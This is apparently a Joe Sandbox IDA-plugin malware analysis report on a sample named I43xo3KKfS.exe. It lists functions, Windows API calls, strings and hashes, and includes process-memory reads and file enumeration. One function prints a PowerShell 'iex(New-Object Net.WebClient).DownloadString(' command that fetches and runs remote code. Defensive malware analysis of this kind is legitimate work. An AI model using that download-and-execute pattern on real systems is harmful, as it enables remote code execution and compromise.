Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__amsg_exit.LIBCMT ref: 0041CD3A
__lock.LIBCMT ref: 0041CD4A
InterlockedDecrement.KERNEL32(?), ref: 0041CD67
free.MSVCRT ref: 0041CD7A
InterlockedIncrement.KERNEL32(0042C558), ref: 0041CD92

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction ID: 81166cf5a2c435bb4aac1af76a8190dca09a737386ef4d0c79be19083c51ecfa
Opcode Fuzzy Hash: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction Fuzzy Hash: C2018835A817219BC721AB6AACC57DE7B60BF04714F55412BE80467790C73CA9C1CBDD

Function 6D4B12B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6D4AB575,?), ref: 6D4B12E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,6D4AB575,?), ref: 6D4B12F6
GetConsoleMode.KERNEL32(00000000,?), ref: 6D4B133A
CloseHandle.KERNEL32(?,?,6D50A3E8,6D50B3D4,?,6D4A981A,6D50B3C4), ref: 6D4B15CA

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6D4B157D

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: 45f94771818c5512dfcfee1aaf976fe92b10d31d1a27cc97fec7a1dc57af5fbf
Instruction ID: 612bc753b4013b8b93b417460072491e0e258ace5b71dcee87e0b8336c336fab
Opcode Fuzzy Hash: 45f94771818c5512dfcfee1aaf976fe92b10d31d1a27cc97fec7a1dc57af5fbf
Instruction Fuzzy Hash: 4091EFB0D042889BDF05DFA4D884FEEBBB8AF26304F148159E955AB382D7349D45CBB1

Function 00417180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0041719F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041741A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004171CD

Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E61
Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E85

VirtualQueryEx.KERNEL32(0041758D,00000000,?,0000001C), ref: 00417212
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041741A), ref: 00417333

Part of subcall function 00417060: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00417078

Strings

@, xrefs: 00417226

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: d4c246fcbb90b677cbfa603dc812bd51b07a2c71a26f71c1c9cdc23e16c3c5e2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: CD5106B5E04109EBDB08CF98D981AEFB7B6BF88300F148159F915A7340D738AA41DBA5

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6
zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction ID: 56bd16fc9bcf92c18956b4b249a59c76870f8c01999fa8d2962da2cd55bb9a52
Opcode Fuzzy Hash: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction Fuzzy Hash: C571D874A04109DFDB04CF48C494BAAB7B1FF88305F158179E84AAF395C739AA91CF95

Function 00412EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00412FD5

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412F54
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412F14
')", xrefs: 00412F03
<, xrefs: 00412F89

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 5f8e187c1a1858e585212ea8d817a4615f9c97e5cf5da956e148fd1fae1cbcbf
Instruction ID: fa4238ec13a9909d2a06eabaeedbec9afd3c4d5d27ba3f2f176ac5e057c61c04
Opcode Fuzzy Hash: 5f8e187c1a1858e585212ea8d817a4615f9c97e5cf5da956e148fd1fae1cbcbf
Instruction Fuzzy Hash: DB415E70E011089ADB04EFA1D866BEDBB79AF10314F40445EF10277196EF782AD9CF99

Function 6D4C7703 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\I43xo3KKfS.exe, xrefs: 6D4C771F

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\I43xo3KKfS.exe
API String ID: 0-3569779938
Opcode ID: ee75c9a23547e6e7cf58fc0c974d1b0688ffd8203b6c5641a397f32e89b6989d
Instruction ID: 5b661ba08d571d359a6aea1a30c099efbe5eb90ad4a197c9e6053dfc92b36e86
Opcode Fuzzy Hash: ee75c9a23547e6e7cf58fc0c974d1b0688ffd8203b6c5641a397f32e89b6989d
Instruction Fuzzy Hash: F2219279B0D20AAF9F01DF75CC80D6B7BA9AF457687218529EA14D7250E7B0FC0087D2

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,008A9150), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: a343f676ed43c69b0dc3ccedf7b116e3b30851b1d4ac9fd5bddd7b235cd944a8
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: a343f676ed43c69b0dc3ccedf7b116e3b30851b1d4ac9fd5bddd7b235cd944a8
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 6D4C570D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,433200CE,00000000,?,00000000,6D4D0110,000000FF,?,6D4C56A7,?,?,6D4C567B,?), ref: 6D4C5742
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6D4C5754
FreeLibrary.KERNEL32(00000000,?,00000000,6D4D0110,000000FF,?,6D4C56A7,?,?,6D4C567B,?), ref: 6D4C5776

Strings

CorExitProcess, xrefs: 6D4C574C
mscoree.dll, xrefs: 6D4C573B

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8cb9b692edcdeff13e86579ee01e94e2d14fa99e2aa64874d99a3407035d2ae3
Instruction ID: 9cc35375d1199f447b7416afe0af008b624233b5b3eea5c5eca2973c70d05fd3
Opcode Fuzzy Hash: 8cb9b692edcdeff13e86579ee01e94e2d14fa99e2aa64874d99a3407035d2ae3
Instruction Fuzzy Hash: F9016235A1455AEFDF02AB90CD45FBEBBB8FB05751F104526E821E2680DB759D00CA91

Function 00410FC0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410FE8
strtok_s.MSVCRT ref: 0041112D

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,008A8FB0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 56ac8cacbcf4445584ef7e31bad8402772638e33d564480533fa52aa4183c32a
Instruction ID: 03db8a1056b7d3decc043d16849240f9eafe82692520a9407f7f8401fd2e2a69
Opcode Fuzzy Hash: 56ac8cacbcf4445584ef7e31bad8402772638e33d564480533fa52aa4183c32a
Instruction Fuzzy Hash: EF515E75A0410AEFCB08CF54D595AEEBBB5FF48308F10805EE9029B361D734EA91CB95

Function 6D4C0C1A Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D4C0C57
dllmain_crt_dispatch.LIBCMT ref: 6D4C0C6E
dllmain_raw.LIBCMT ref: 6D4C0CB6
dllmain_crt_dispatch.LIBCMT ref: 6D4C0CC9
dllmain_raw.LIBCMT ref: 6D4C0CDC

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 5458fbd0497faec2a62b5fbe0f2f0d59a62da040b4ffd4ea40376c9aa45d903b
Instruction ID: 0d7351c5f7b040d0cf70836b2487e1a6aa9f2146f43bf2132724b8cf9f0b1cab
Opcode Fuzzy Hash: 5458fbd0497faec2a62b5fbe0f2f0d59a62da040b4ffd4ea40376c9aa45d903b
Instruction Fuzzy Hash: 0921B1BAD0425AABDB228F56DC40E7F3A79EB40794F118019F81867254D7308D018FD2

Function 00416BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210F4,?,?,00416DB1,00000000,?,008A8FB0,?,004210F4,?,00000000,?), ref: 00416C0C
sscanf.NTDLL ref: 00416C39
SystemTimeToFileTime.KERNEL32(004210F4,00000000,?,?,?,?,?,?,?,?,?,?,?,008A8FB0,?,004210F4), ref: 00416C52
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,008A8FB0,?,004210F4), ref: 00416C60
ExitProcess.KERNEL32 ref: 00416C7A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction ID: 1a92bae8d2aea180e7b918fcc5e881d349bf880cfa552010dcbd9d747ca2879d
Opcode Fuzzy Hash: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction Fuzzy Hash: 0321CD75D142089BCF14DFE4E9459EEB7BABF48300F04852EF506A3250EB349644CB69

Function 00418950 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
wsprintfA.USER32 ref: 004189E0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

%dx%d, xrefs: 004189D7
Fs, xrefs: 00418994, 004189A3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: Fs$%dx%d
API String ID: 2716131235-1170756869
Opcode ID: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction ID: ec511e81278765dc739de052021e02f912fcc6e2b9c8bb96b49730fbd7d6010e
Opcode Fuzzy Hash: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction Fuzzy Hash: 8B217FB1E45214AFDB00DFD4DC45FAEBBB9FB48710F10411AFA05A7280D779A900CBA5

Function 004193F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008B03A8,00000000,00000000,?,00409F71,00000000,008B03A8,00000000), ref: 004193FC
lstrcpyn.KERNEL32(006D7580,008B03A8,008B03A8,?,00409F71,00000000,008B03A8), ref: 00419420
lstrlenA.KERNEL32(00000000,?,00409F71,00000000,008B03A8), ref: 00419437
wsprintfA.USER32 ref: 00419457

Strings

%s%s, xrefs: 00419445

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

